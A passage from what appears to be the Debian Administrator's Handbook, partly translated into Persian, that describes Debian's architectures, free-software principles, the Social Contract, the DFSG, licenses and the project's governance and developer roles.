عبارت “معماری” نشانگر نوع یک رایانه است (مانند مک یا پی‌سی). هر معماری بر اساس نوع پردازنده‌ای که ازش حمایت می‌کند با دیگری متفاوت است. این تفاوت در سخت‌افزار شامل تفاوت در نوع عملیات اجرایی می‌شود، که باعث می‌شود هر نرم‌افزار به صورت جداگانه برای هر معماری کامپایل شود.

Most software available in Debian is written in portable programming languages: the same source code can be compiled for various architectures. In effect, an executable binary, always compiled for a specific architecture, will not usually function on any of the other architectures.

Remember that each program is created by writing source code; this source code is a text file composed of instructions in a given programming language. Before you can use the software, it is necessary to compile the source code, which means transforming the code into a binary (a series of machine instructions executable by the processor). Each programming language has a specific compiler to execute this operation (for example, gcc for the C programming language).

ابزار نصب‌کننده

debian-installer نام یک برنامه نصب‌کننده دبیان است. طراحی ماژولار آن، اجازه استفاده در سناریوهای نصب گوناگونی را می‌دهد. کار توسعه آن در میلینگ لیست <debian-boot@lists.debian.org> تحت مدیریت سایریل برولبویز هماهنگ می‌شود.

1.1.2. کیفیت نرم‌افزار آزاد

Debian follows all of the principles of Free Software, and its new versions are not released until they are ready. Developers do not work upon a set schedule and don't have to rush to meet an arbitrary deadline. People frequently complain of the long time between Debian's stable releases, but this caution ensures that Debian's legendary reliability is met: long months of testing are indeed necessary for the full distribution to receive the “stable” label.

Debian will not compromise on quality: all known critical bugs on key packages are resolved in any new version, even if this requires the initially forecast release date to be pushed back. Optional packages whose critical bugs are not fixed, and thus do not meet the quality requirements, are simply dropped from the stable release.

1.1.3. چارچوب قانونی: یک سازمان غیرانتفاعی

بر اساس قانون، دبیان پروژه‌ای است که از طرف یک سازمان غیرانتفاعی و داوطلب محور آمریکایی مدیریت می‌شود. پروژه چیزی حدود هزار توسعه‌دهنده دبیان را شامل می‌شود، اما تعداد بسیار بیشتری مشارکت‌کننده را گرد هم آورده است (مترجمان، گزارش‌کنندگان باگ، هنرمندان، توسعه‌‌دهندگان مبتدی و ...).

To carry its mission to fruition, Debian has a large infrastructure, with many servers connected across the Internet, offered and hosted by many sponsors.

جامعه کاربری پشت پرده دبیان، انجمن SPI و شاخه‌های محلی آن

Debian doesn't own any server in its own name, since it is only a project within the Software in the Public Interest (SPI) association, which manages the hardware and financial aspects (donations, purchase of hardware, etc.). Although it was initially created specifically for the Debian project, this association now hosts other free software projects, especially the PostgreSQL database, Freedesktop.org (project for standardization of various parts of modern graphical desktop environments, such as GNOME and KDE Plasma), and the LibreOffice office suite.

→ https://www.spi-inc.org/

در کنار SPI، بسیاری انجمن‌های محلی دیگر به طور نزدیک با دبیان همکاری دارند تا هزینه‌های آن را پوشش دهند، بدون اینکه در ایالات متحده متمرکز باشند: آن‌ها به عنوان “سازمان‌های مورد اعتماد” شناخته می‌شوند. این رویکرد منجر به کاهش هزینه‌های بین‌المللی می‌گردد و به خوبی با طبیعت نامتمرکز پروژه سازگاری دارد.

Do not hesitate to join your local association and support the project!

→ https://wiki.debian.org/Teams/Auditor/Organizations

→ https://france.debian.net/

→ https://debian.ch/

1.2. اسناد بنیادین

چند سال پس از راه‌اندازی اولیه، دبیان به معرفی اصولی پرداخت که برای یک پروژه نرم‌افزار آزاد ضروری بودند. این تصمیم‌گیری امکان رشد متناسب و صلح‌آمیز را برای تمام اعضای پروژه به صورت یکسان فراهم می‌آورد. برای تبدیل شدن به توسعه‌دهنده دبیان، هر کاندیدا باید حمایت و تبعیت خود از این اصول بنیادین را به همگان ثابت کند.

The development process is constantly debated, but these Foundation Documents are widely and consensually supported, thus rarely change. The Debian constitution also offers other guarantees for their stability: a three-quarter qualified majority is required to approve any amendment.

1.2.1. تعهد نسبت به کاربران

The project also has a “social contract”. What place does such a text have in a project only intended for the development of an operating system? It is quite simple: Debian works for its users, and thus, by extension, for society. This contract summarizes the commitments that the project undertakes. Let us study them in greater detail:

دبیان به صورت ۱۰۰٪ آزاد باقی می‌ماند.

این قانون شماره ۱ است. دبیان به طور خالص شامل نرم‌افزار آزاد است و خواهد بود. به علاوه، تمام نرم‌افزارهایی که درون پروژه توسعه می‌یابند آزاد خواهند بود.

چشم‌انداز فراتر از نرم‌افزار

The first version of the Debian Social Contract said “Debian Will Remain 100% Free Software”. The disappearance of this last word (with the ratification of Version 1.1 of the contract in April of 2004) indicates the will to achieve freedom, not only in software, but also in the documentation and any other element that Debian wishes to provide within its operating system.

این تغییر، که قراربود به عنوان تغییری نگارشی به حساب بیاید، در حقیقت نتایج گوناگونی به همراه داشت به خصوص با حذف برخی مستندات دردسر آفرین. به علاوه، رشد روز افزون درایورها و فرم‌ویرهای آن‌ها مشکلاتی بوجود آورده است: بسیاری از آ‌ن‌ها غیر-آزاد هستند، با اینکه برای عملکرد مناسب سخت‌افزار ضروری به حساب می‌آیند.

ما در جامعه نرم‌افزار آزاد مشارکت خواهیم داشت.

هر عملکردی که منجر به ارتقاء یک پروژه در دبیان گردد به صاحب اصلی کار (که “توسعه‌دهنده اصلی” نامیده می‌شود) فرستاده می‌شود. در حالت کلی، دبیان با جامعه کاربری خود همکاری دارد تا اینکه به تنهایی کار کند.

جامعه کاربری توسعه‌دهندی اصلی یا توسعه‌دهنده دبیان؟

عبارت “توسعه‌دهنده اصلی” به معنای نگارنده/توسعه‌دهنده یک کار به حساب می‌آید، کسانی که تولید‌کنندگان اولیه آن هستند. از طرف دیگر، یک “توسعه‌دهنده دبیان” از یک کار موجود استفاده کرده و آن را به یک بسته دبیان تبدیل می‌کند (عبارت “ویرایشگر بسته دبیان” کاربرد بهتری دارد).

In practice, there can be overlaps between both roles: the Debian maintainer may write a patch, which benefits all users of the work. In general, Debian encourages those in charge of a package in Debian to get involved in “upstream” development as well (they become, then, contributors, without being confined to the role of simple users of a program).

ما مشکلات را پنهان نگاه نمی‌داریم.

Debian is not perfect, and, there will be new problems to fix every day. Debian will keep its entire bug report database open for public view at all times. Reports that people file on-line will promptly become visible to others.

اولویت اول ما کاربران و نرم‌افزار آزاد هستند.

توصیف این تعهد از خود آن نیز دشوارتر است. دبیان در زمینه‌ای که توسعه‌دهندگان تجربه کاربری دیگران را به خطر اندازند به صورت یک طرفه و تحمیلی، تصمیم ساده‌ای را می‌گیرد تا به راهکار درستی دست یابد، حتی اگر پیاده‌سازی آن دشوارتر باشد. این بدان معناست که در نظر گرفتن علایق کاربران و نرم‌افزار آزاد، در بالاترین اولویت کاری قرار دارد.

کارهایی که با استانداردهای نرم‌افزار آزاد ما انطباق ندارند.

Debian accepts and understands that users may want to use some non-free programs. That is why the project allows usage of parts of its infrastructure to distribute Debian packages of non-free software that can safely be redistributed.

جامعه کاربری برای قسمت غیر-آزاد یا علیه آن؟

تعهد موجود در رابطه با نگهداری از نرم‌افزار غیر-آزاد و تطبیق آن با پروژه به صورت کلی، (برای جزئیات بخش “غیر-آزاد” به واژگان بایگانی‌های main، contrib و non-free مراجعه کنید) بین جامعه کاربری دبیان معمولاً باعث بحث‌های فراوانی می‌شود.

مخالفان اعتقاد دارند که این کار افراد گوناگونی را از نرم‌افزار آزاد دور خواهد کرد و با اصول اولیه نرم‌افزار آزاد تناقض دارد. موافقان بر ایده هستند که بسیاری از قسمت‌های یک بسته غیر-آزاد “تقریباً آزاد” هستند که توسط یک یا چند محدودیت آزاردهنده مدیریت می‌شوند (که شایع‌ترین آن‌ها عدم استفاده تجاری از نرم‌افزار به حساب می‌آید). با توزیع این بسته‌ها در شاخه غیر-آزاد، ما به صورت غیر مستقیم این پیام را به توسعه‌دهنده اصلی منتقل می‌کنیم که اگر نرم‌افزار خود را بتواند در شاخه اصلی قرار دهد، بهتر شناخته خواهد شد و افراد بیشتری از آن بهره می‌برند. آن‌ها به صورت مودبانه دعوت می‌شوند تا مجوزهای خود را با توجه به این سیاست تغییر دهند.

After a first and unfruitful attempt in 2004, the complete removal of the non-free section is unlikely to return to the agenda, especially since it contains many useful documents that were moved simply because they did not meet the new requirements for the main section. This is especially the case for certain software documentation files issued by the GNU project (in particular, Emacs and Make).

وجود پیوسته قسمت غیر-آزاد در این سال‌ها به عامل اختلاف برانگیز با بنیاد نرم‌افزار آزاد تبدیل شده است و دلیل اصلی است که آن‌ها حاضر نیستند دبیان را به عنوان یک سیستم عامل کاملاً آزاد توصیه و معرفی کنند.

1.2.2. دستورالعمل‌های نرم‌افزار آزاد دبیان

این سند مرجع، مشخص می‌کند که چه نرم‌افزاری به “اندازه کافی آزاد” است تا در دبیان قرار گیرد. اگر مجوز اصلی برنامه موافق با این اصول باشند، می‌تواند در قسمت اصلی قرار گیرد؛ از طرف دیگر، ممکن است در قسمت غیر-آزاد نیز قرار گیرد چرا که توزیع آزاد در این قسمت مجاز است. این قسمت به صورت رسمی جزئی از دبیان نیست؛ بلکه یک سرویس اضافی است که در اختیار کاربران قرار می‌گیرد.

جدای از یک شیوه انتخاب برای دبیان، این متن بیانگر نوعی نرم‌افزار آزاد نیز هست که پایه و اساس “بیانیه اوپن سورس” را تشکیل می‌دهد. به لحاظ تاریخی، یکی از اولین توضیحات رسمی در رابطه با مفهوم “نرم‌افزار آزاد” به حساب می‌آید.

The GNU General Public License, the BSD License, and the Artistic License are examples of traditional free licenses that follow the 9 points mentioned in this text. Below you will find the text as it is published on the Debian website.

→ https://www.debian.org/social_contract#guidelines

توزیع مجدد به صورت آزاد.  مجوز یک برنامه دبیان هیچ گروهی را از فروش یا واگذاری رایگان نرم‌افزار به عنوان مجموعه‌ای از ابزارهای متفاوت خود، باز نمی‌دارد. مجوز شامل هیچگونه هزینه جانبی برای فروش نمی‌باشد.

سورس کد.  برنامه باید شامل سورس کد باشد، همچنین در کنار انتشار نسخه باینری باید سورس کد آن را منتشر سازد.

کار مشتق‌شده.  مجوز باید اجازه تغییرات و کار مشتق‌شده را بدهد، همچنین باید اجازه توزیع مجدد آن‌ها تحت همان شرایط نرم‌افزار اولیه را فراهم سازد.

جامعیت با سورس کد توسعه‌دهنده اصلی.  مجوز ممکن است سورس کد تغییر یافته را در توزیع مجدد محدود سازد تنها در صورتی که مجوز اجازه توزیع “فایل‌های پچ” را به همراه سورس کد با هدف تغییر در برنامه‌ای که در حال ساخت است، داده باشد. مجوز باید به طور خاص اجازه توزیع نرم‌افزاری را که از سورس کد تغییر یافته ساخته شده است، بدهد. همچنین ممکن است کارهای مشتق‌شده از نرم‌افزار را تحت نام یا نسخه دیگری توزیع کند (این یک توافق است. گروه دبیان تمام نویسندگان را تشویق می‌کند که فایل‌ها، سورس کد یا باینری خود را نسبت به تغییرات محدود نسازند.).

عدم تبعیض بین افراد و گروه‌ها.  مجوز نباید هیچگونه تبعیضی درباره شخص یا گروهی خاص قائل شود.

عدم تبعیض بین رشته‌های مختلف.  مجوز نباید هیچ فردی را در استفاده از نرم‌افزار مخصوص به یک حوزه مشخص، محدود سازد. برای نمونه، نباید برنامه‌ای را در رشته تجارت یا تحقیقات ژنتیکی محدود ساخت.

توزیع مجوز.  حقوق متصل به یک برنامه باید شامل حال تمام کسانی شود که برنامه برای آن‌ها توزیع شده است بدون آنکه نیاز به اجرای مجوزی خاص از یک گروه دیگر باشد.

مجوز نباید مخصوص به دبیان باشد.  حقوق متصل به یک برنامه نباید وابسته به همان برنامه که در سیستم دبیان موجود است، باشند. اگر شرایطی پیش بیاید که برنامه از دبیان خارج شده یا بدون آن توزیع گردیده است، تمام افرادی که برنامه برای آن‌ها توزیع مجدد شده است باید همان حقوق اولیه در سیستم دبیان را داشته باشند.

مجوز نباید روی نرم‌افزارهای دیگر تاثیر بگذارد.  مجوز نباید بر روی سایر نرم‌افزارهای دیگر که در کنار آن توزیع شده‌اند، محدودیت ایجاد کند. برای نمونه، مجوز نباید اصرار داشته باشد سایر نرم‌افزارهایی که در کنار آن روی دیسک قرار گرفته‌اند، حتماً نرم‌افزار آزاد باشند.

بازگشت به مقدمات کپی‌لفت

کپی‌لفت اصلی است که بر اساس استفاده از کپی‌رایت برای ضمانت بخشیدن در مورد آزادی یک اثر و مشتقات آن بکار می‌رود، بجای آنکه آن را محدود سازد، حالتی که در نرم‌افزار انحصاری اتفاق می‌افتد. همچین یک بازی با لغت در مورد “copyright” نیز به شمار می‌رود. ریچارد استالمن به این نکته پی برد هنگامی که یکی از دوستانش، fond of puns، در نامه‌ای به او نوشته بود: “copyleft: all rights reversed”. کپی‌لفت بر ماندگاری آزادی نسبت به توزیع یک اثر اصلی یا تغییریافته اصرار می‌ورزد (معمولاً یک برنامه). بنابراین، این امر ناممکن است که به توزیع نرم‌افزاری انحصاری بپردازیم که خود آن از یک نرم‌افزار منتشرشده تحت کپی‌لفت نشات گرفته باشد.

The most well-known family of copyleft licenses is, of course, the GNU General Public License (GPL) and its derivatives, the GNU Lesser General Public License (LGPL), and the GNU Free Documentation License (GFDL). Sadly, the copyleft licenses are generally incompatible with each other. Consequently, it is best to use only one of them.

Example licenses.  The “GPL”, “BSD”, and “Artistic” licenses are examples of licenses that we consider “free”.

بازگشت به مقدمات مجوزهای آزاد

مجوز عمومی همگانی گنو، مجوز بی‌اس‌دی و مجوز هنری هر سه با رویکردهای نرم‌افزار آزاد دبیان مطابقت دارند، با اینکه هر یک برای اهداف متفاوتی ساخته شده‌اند.

The GNU GPL, used and promoted by the FSF (Free Software Foundation), is the most common. Its main feature is that it also applies to any derived work that is redistributed: a program incorporating or using GPL code can only be distributed according to its terms. It prohibits, thus, any reuse in a proprietary application. This poses serious problems for the reuse of GPL code in free software incompatible with this license. As such, it is sometimes impossible to link a program published under another free software license with a library distributed under the GPL. On the other hand, this license is very solid in American law: FSF lawyers have participated in the drafting thereof, and have often forced violators to reach an amicable agreement with the FSF without going to court.

→ https://www.gnu.org/copyleft/gpl.html

The BSD license is the least restrictive: everything is permitted, including use of modified BSD code in a proprietary application.

→ https://www.opensource.org/licenses/bsd-license.php

Finally, the Artistic License reaches a compromise between these two others: integration of code in a proprietary application is permitted, but any modification must be published.

→ https://www.opensource.org/licenses/artistic-license-2.0.php

The complete text of these licenses is available in /usr/share/common-licenses/ on any Debian system (in case of BSD the newer 3-Clause License).

جامعه کاربری بروس پرنس، رهبری بحث‌برانگیز

Bruce Perens was the second leader of the Debian project, just after Ian Murdock. He was very controversial in his dynamic and authoritarian methods. He, nevertheless, remains an important contributor to Debian, to whom Debian is especially indebted for the editing of the famous “Debian Free Software Guidelines” (DFSG), an original idea of Ean Schuessler. Subsequently, Bruce would derive from it the famous “Open Source Definition”, removing all references to Debian from it.

→ https://opensource.org/

خروج او از پروژه با احساسات عاطفی همراه بود، اما بروس ارتباط خود با دبیان را هیچگاه قطع نکرد تا جایی که به تبلیغ این توزیع محافل اقتصادی و سیاسی می‌پرداخت. او هم اکنون در میلینگ لیست حضور نسبتاً فعالی دارد و نظرات خود را درباره پروژه ارائه می‌دهد.

Last anecdotal point, it was Bruce who was responsible for inspiring the different “codenames” for Debian versions (1.1 — Rex, 1.2 — Buzz, 1.3 — Bo, 2.0 — Hamm, 2.1 — Slink, 2.2 — Potato, 3.0 — Woody, 3.1 — Sarge, 4.0 — Etch, 5.0 — Lenny, 6.0 — Squeeze, 7 — Wheezy, 8 — Jessie, 9 — Stretch, 10 — Buster, 11 (not released yet) — Bullseye, 12 (not released yet) — Bookworm, Unstable — Sid). They are taken from the names of characters in the Toy Story movie. This animated film entirely composed of computer graphics was produced by Pixar Studios, with whom Bruce was employed at the time that he led the Debian project. The name “Sid” holds particular status, since it will eternally be associated with the Unstable branch. In the film, this character was the neighbor's child who always broke toys — so beware of getting too close to Unstable. Otherwise, Sid is also an acronym for “Still In Development”.

1.3. شیوه اجرایی داخلی در پروژه دبیان

نتیجه نهایی که از پروژه دبیان نشات می‌گیرد وابسته به زیرساخت موجودی است که توسط بسیاری توسعه‌دهندگان حرفه‌ای دبیان مدیریت می‌شود، خواه کار انفرادی یا گروهی توسعه‌دهندگان بر روی بسته‌های دبیان خواه از بازخوردهای دریافتی از کاربران.

1.3.1. توسعه‌دهندگان دبیان

Debian developers have various responsibilities, and as official project members, they have great influence on the direction the project takes. A Debian developer is generally responsible for at least one package, but according to their available time and desire, they are free to become involved in numerous teams, thus acquiring more responsibilities within the project.

→ https://www.debian.org/devel/people

→ https://www.debian.org/intro/organization

→ https://wiki.debian.org/Teams

ابزار پایگاه‌‌داده‌ای از توسعه‌دهندگان

Debian has a database including all developers registered with the project, and their relevant information (address, telephone, geographical coordinates such as longitude and latitude, etc.). Some of the information (first and last name, country, username within the project, IRC username, GnuPG key, etc.) is public and available on the Web.

→ https://db.debian.org/

مختصات چغرافیایی این امکان را می‌دهد تا با ایجاد نقشه‌، موقعیت تمام توسعه‌دهندگان را در جهان ترسیم کرد. دبیان به حق یک پروژه بین‌المللی است: توسعه‌دهندگان آن در تمام قاره‌ها یافت می‌شوند، اگرچه اکثر آن‌ها در “کشورهای غربی” هستند.

شكل 1.1. توزیع جهانی توسعه‌دهندگان دبیان

Package maintenance is a relatively regimented activity, very documented or even regulated. It must, in effect, comply with all the standards established by the Debian Policy. Fortunately, there are many tools that facilitate the maintainer's work. The developer can, thus, focus on the specifics of their package and on more complex tasks, such as squashing bugs.

→ https://www.debian.org/doc/debian-policy/

بازگشت به مقدمات نگهداری از بسته‌ها، کار اصلی توسعه‌دهندگان

نگهداری از یک بسته در ابتدا مستلزم “بسته‌بندی” یک برنامه است. به طور خاص، این بدان معناست که فرآیند نصب بسته طوری تنظیم گردد که پس از نصب، این برنامه بتواند تحت مجموعه قوانین دبیان که وجود دارند، به درستی فعالیت کند. نتایج این عملیات در فایلی با پسوند .deb ذخیره می‌شود. یک نصب موفقیت‌آمیز در حقیقت چیزی بیشتر از استخراج محتوای این فایل فشرده و اجرای اسکریپت‌های پیش و پس از نصب، نیست.

بعد از این فاز اولیه، چرخه نگهداری أغاز می‌گردد: آماده‌سازی بروزرسانی‌ها بر اساس آخرین نسخه از خط‌مشی دبیان، برطرف کردن باگ‌هایی که توسط کاربران گزارش می‌شوند و انتشار نسخه‌های جدید “اصلی” از برنامه که در طی زمان بوجود می‌آیند. برای نمونه، در زمان بسته‌بندی اولیه، برنامه در نسخه ۱.۲.۳ قرار داشت. پس از چند ماه توسعه آن، نویسندگان اصلی یک نسخه پایدار منتشر کرده‌اند که ۱.۴.۰ شماره‌گذاری می‌گردد. در این نقطه، فردی که مسئول نگهداری بسته است باید آن را بروزرسانی کند به منظور اینکه کاربران بتوانند از آخرین نسخه پایدار آن بهره‌مند گردند.

The Policy, an essential element of the Debian Project, establishes the norms ensuring both the quality of the packages and perfect interoperability of the distribution. Thanks to this Policy, Debian remains consistent despite its gigantic size. This Policy is not fixed in stone, but continuously evolves thanks to proposals formulated on the <debian-policy@lists.debian.org> mailing list. Amendments that are agreed upon by all interested parties are accepted and applied to the text by a small group of maintainers who have no editorial responsibility (they only include the modifications agreed upon by the Debian developers that are members of the above-mentioned list). You can read current amendment proposals on the bug tracking system:

→ https://bugs.debian.org/debian-policy

جامعه کاربری فرآیند ویراستاری خط‌مشی

Anyone can propose an amendment to the Debian Policy just by submitting a bug report with a severity level of “wishlist” against the debian-policy package. The process that then starts is documented in https://www.debian.org/doc/debian-policy/ap-process.html: if it is acknowledged that the problem revealed must be resolved by creating a new rule in the Debian Policy, a discussion begins on the <debian-policy@lists.debian.org> mailing list until consensus is reached and a proposal issued. Someone then drafts a desired amendment and submits it for approval (in the form of a patch to review). As soon as two other developers approve the fact that the proposed amendment reflects the consensus reached in the previous discussion (they “second” it), the proposal can be included in the official document by one of the debian-policy package maintainers. If the process fails at one of these steps, the maintainers close the bug, classifying the proposal as rejected.

خط‌مشی دبیان مستندسازی

مستندات مربوط به هر بسته در /usr/share/doc/package/ ذخیره می‌شود. این دایرکتوری معمولاً شامل فایل README.Debian است که پیکربندی‌های خاص دبیان برای این بسته را توضیح می‌دهد. بنابراین منطقی بنظر می‌رسد که ابتدا این فایل را مطالعه کنید تا از تجربیات دیگران بهره‌مند شوید. همچنین یک فایل changelog.Debian.gz وجود دارد که شامل تغییرات ایجاد شده توسط نسخه‌های جدید برنامه می‌باشد که نگهدارنده بسته دبیان آن را تنظیم کرده است. البته نباید با فایل changelog.gz اشتباه گرفته شود (یا مشابه آن)، که تغییرات ایجاد شده توسط توسعه‌دهندگان اصلی را شامل می‌شود. فایل copyright شامل اطلاعاتی درباره نویسندگان و مجوز استفاده از نرم‌افزار است. در نهایت، ممکن است فایلی بنام NEWS.Debian.gz پیدا کنیم که اطلاعات مربوط به بروزرسانی توسط توسعه‌دهنده دبیان را شامل می‌شود؛ اگر apt-listchanges نصب شده باشد، آنگاه این پیام‌ها به صورت خودکار نمایش داده می‌شوند. سایر فایل‌ها مربوط به خود نرم‌افزار هستند. همچنین از دایرکتوری examples برای پیکربندی‌های گوناگون این نرم‌افزار به عنوان نمونه یاد می‌شود.

خط‌مشی، همچنین شامل جنبه‌های فنی بسته‌بندی نرم‌افزار نیز می‌شود. اندازه پروژه می‌تواند مشکلاتی در رابطه با سازماندهی آن بوجود آورد؛ این مسائل توسط قانون اساسی دبیان مورد ارزیابی قرار می‌گیرند، که ساختار و ابزار مورد نیاز تصمیم‌گیری را فراهم می‌آورد. به عبارت دیگر، یک سامانه قانون‌گذاری رسمی.

این قانون اساسی تعدادی نقش و موقعیت را تعریف می‌کند، به علاوه مسئپولیت‌ها و قدرت اجرایی برای هر کدام. این نکته بسیار حائز اهمیت است که بدانیم توسعه‌دهندگان دبیان همیشه قدرت تصمیم‌گیری نهایی را در اختیار دارند با یک رای مبتنی بر اکثریت، که در آن ۷۵٪ از آرا جهت ایجاد تغییرات بنیادین مورد نیاز است (مانند تغییراتی که اسناد مرتبط با بنیاد را شامل می‌شوند). اگرچه، توسعه‌دهندگان به صورت سالیانه یک “رهبر” را به نمایندگی خود و برای ارتباط با تیم‌های گوناگون، انتخاب می‌کنند. این انتخاب شامل گفتگوهای جدی در طول زمان است. نقش این رهبر به صورت رسمی در هیچ سندی ذکر نشده است: کاندیدای این سمت، تعریف خود را از موقعیت انتخابی ارائه می‌دهد. در عمل، نقش‌های مرتبط با رهبر شامل تعامل با رسانه‌های مختلف، هماهنگی بین تیم‌های “داخلی” و ارائه راهنمایی‌های کلی در قبال پروژه‌ای است که توسعه‌دهندگان مربوط به آن هستند: افکار و ایده‌های رهبر (DPL) به طور ضمنی توسط اکثریت اعضای پروژه مورد تایید قرار می‌گیرد.

به طور خاص، رهبر قدرت حقیقی دارد؛ رای اوست که تعیین‌کننده رای‌های مساوی است؛ همچنین می‌تواند تصمیماتی بگیرد که هم اکنون تحت قدرت اجرایی هیچ فرد دیگری نیست و می‌توانند بخشی از مسئولیت‌های آنان را برعهده بگیرند.

Since its inception, the project has been successively led by Ian Murdock, Bruce Perens, Ian Jackson, Wichert Akkerman, Ben Collins, Bdale Garbee, Martin Michlmayr, Branden Robinson, Anthony Towns, Sam Hocevar, Steve McIntyre, Stefano Zacchiroli, Lucas Nussbaum, Mehdi Dogguy, Chris Lamb and Sam Hartman.

قانون اساسی همچنین شامل یک “کمیته فنی” نیز هست. نقش اساسی این کمیته، تصمیم‌گیری در حالت‌هایی است که توسعه‌دهندگان نسبت به آن نظر واحدی ندارند. در غیر اینصورت، این کمیته نقش مشورتی برای تمام توسعه‌دهندگانی را بازی می‌کند که نسبت به مسئولیت‌های خود قادر به تصمیم‌گیری نهایی نیستند. لازم به ذکر است که این کمیته تا زمانی که از آن دعوت به همکاری نشود، فعالیتی انجام نمی‌دهد.

در نهایت، قانون اساسی موقعیت یک “دبیر پروژه” را تعیین می‌کند، کسی که مسئول سازماندهی رای‌های گوناگون و تصمیمات عمومی است.

The “general resolution” procedure is fully detailed in the constitution, from the initial discussion period to the final counting of votes. The most interesting aspect of that process is that when it comes to an actual vote, developers have to rank the different ballot options between them and the winner is selected with a Condorcet method (more specifically, the Schulze method). For further details see:

→ https://www.debian.org/devel/constitution

فرهنگ مشاجره، گفتگویی که داغ می‌شود

یک “flamewar” مناظره‌ای است که به صورت غیرعادی و از روی هیچان، داغ می‌شود که منجر به حمله افراد نسبت به یکدیگر می‌شود زمانی که دیگر بحث منطقی برای گفتگو وجود نداشته باشد. برخی موضوعات احتمال بیشتری برای به جدل کشیده شدن دارند (انتخاب ویرایشگر متن، vi یا emacs یک گزینه قدیمی است). موضوع مورد بحث معمولاً با ایمیل‌های بسیار سریع و شتاب‌زده دنبال می‌گردد که نقظه نظرات هر دو طرف بحث را شامل می‌شود و به زمینه‌های بسیار شخصی نیز کشیده می‌شود.

از این گونه بحث‌ها معمولاً مطالب مفیدی خارج نمی‌شود؛ توصیه عمومی، خودداری از ورود به چنین مناظره‌هایی است با اینکه می‌توانید با نگاهی اجمالی به موضوع آن پی ببرید، چراکه مطالعه جزئی آن‌ها زمان شما را تلف خواهد کرد.

حتی اگر این قانون اساسی مشابهتی با دموکراسی داشته باشد، واقعیت روزانه چیز دیگری می‌گوید: دبیان به صورت طبیعی از قوانین نرم‌افزار آزاد در رابطه با do-ocracy تبعیت می‌کند: کسی که کاری انجام می‌دهد، تصمیمات مربوط به چگونگی انجام آن را نیز بر عهده دارد. زمان بسیار زیادی می‌تواند تلف شود اگر بابت حل هر مساله، روش‌های گوناگونی مطرح شود؛ راه حل انتخاب شده اولین موردی خواهد بود که هم کاربردی باشد هم راضی‌کننده... که از زمان گذاشتن فردی شایسته برای حل آن مشکل بیرون می‌آید.

این تنها راهی است که می‌توان کسی را جذب کرد: انجام کاری مفید و نمایش اینکه این کار ممکن است. بسیاری از تیم‌های “مدیریتی” دبیان همکار جدید می‌پذیرند، به خصوص داوطلبانی که شایستگی خود را از قبل ثابت کرده باشند. طبیعت عمومی کاری که در این تیم‌ها انجام می‌شود این امکان را برای مشارکت‌کنندگان جدید بوجود می‌آورد که بدون دسترسی خاصی به پروژه کمک کنند. این همان دلیلی است که همکاری در دبیان با نام “شایسته‌سالاری” شناخته می‌شود.

فرهنگ شایسته‌سالاری، حکومت دانش

شایسته‌سالاری، نوعی حکومت است که در آن قدرت در دست شایسته‌ترین افراد قرار می‌گیرد. برای دبیان، شایستگی معیاری در صلاحیت به حساب می‌آید که توسط اعمال گذشته فرد یا گروهی در پروژه تعریف می‌شود (استفانو زاخیرولی، رهبر سابق پروژه دبیان، از “do-ocracy” صحبت می‌کند که به معنی “در دست گرفتن قدرت توسط کسانی که کاری انجام می‌دهند” است). وجود این افراد خود نشانگر نوعی صلاحیت است؛ موفقیت آن‌ها بیشتر در نرم‌افزار آزاد است، با سورس کد قابل دسترس، که به راحتی می‌تواند توسط دیگران ارزیابی کیفی شود.

این شیوه اجرایی موثر، کیفیت مشارکت‌کنندگان در تیم‌های “کلیدی” دبیان را تضمین می‌کند. این روش به هیچ وجه کامل نیست و افرادی وجود دارند که آن را قبول نداشته باشند. انتخاب توسعه‌دهندگانی که در تیم‌ها مورد پذیرش واقع شدند ممکن است دلخواه به نظر آید یا حتی غیرعادلانه. علاوه بر این، هر کسی تعریف یکسانی از سرویس‌‌های مورد انتظار این تیم‌ها را ندارد. برای برخی تیم‌ها، انتظار هشت روزه برای ایجاد یک بسته جدید دبیان غیرقابل قبول، در صورتی که برای سایر تیم‌ها، این انتظار بدون هیچ مشکلی تا سه هفته به طول می‌انجامد. به همین دلیل، ناراضایتی‌های مداومی در رابطه با “کیفیت خدمات” برخی از این تیم‌ها وجود دارد.

جامعه‌کاربری یکپارچگی مشارکت‌کنندگان جدید

تیمی که مسئول پذیرفتن توسعه‌دهندگان جدید است، بیشترین انتقاد را به همراه دارد. در سال‌های گوناگون، پروژه دبیان بیشتر و بیشتر خواستار توسعه‌دهندگانی است که خود به دنبال جذب آن‌ها است. برای برخی این عمل نوعی بی عدالتی به حساب می‌آید، اما باید اعتراف کنیم چیزی که در ابتدا چالش کوچکی به حساب می‌آمد طی سالیان گذشته به جامعه‌کاربری بالغ بر ۱۰۰۰ نفر شده است، زمانی که صحبت از تضمین کیفیت و یکپارچگی هر چیزی که دبیان برای کاربرانش تهیه می‌کند، باشد.

علاوه بر این، فرآیند پذیرش این افراد توسط تیم کوچکی صورت می‌گیرد که با نام مدیران حساب‌کاربری دبیان شناخته می‌شوند. این مدیران اغلب روحیه‌ای انتقادی دارند چراکه حرف آخر در رابطه با پذیرش یا عدم پذیرش توسعه‌دهندگان جدید در جامعه‌کاربری را می‌زنند. در عمل، گاهی اوقات پذیرش یک فرد را به عقب می‌اندازند تا اطلاعات بیشتری درباره شیوه اجرایی پروژه بدست آورند. البته که، هر شخصی می‌تواند بدون عضویت رسمی در دبیان، به مشارکت در آن بپردازد، به صورتی که توسط توسعه‌دهندگان فعلی حمایت شود.

1.3.2. نقش فعال کاربران

One might wonder if it is relevant to mention the users among those who work within the Debian project, but the answer is a definite yes: they play a critical role in the project. Far from being “passive”, some users run development versions of Debian and regularly file bug reports to indicate problems. Others go even further and submit ideas for improvements, by filing a bug report with a severity level of “wishlist”, or even submit corrections to the source code, called “patches” (see قسمت 1.3.2.3, “Sending fixes” ).

1.3.2.1. Reporting bugs

The fundamental tool for submitting bugs in Debian is the Debian Bug Tracking System (Debian BTS), which is used by large parts of the project. The public part (the web interface) allows users to view all bugs reported, with the option to display a sorted list of bugs selected according to various criteria, such as: affected package, severity, status, address of the reporter, address of the maintainer in charge of it, tag, etc. It is also possible to browse the complete historical listing of all discussions regarding each of the bugs.

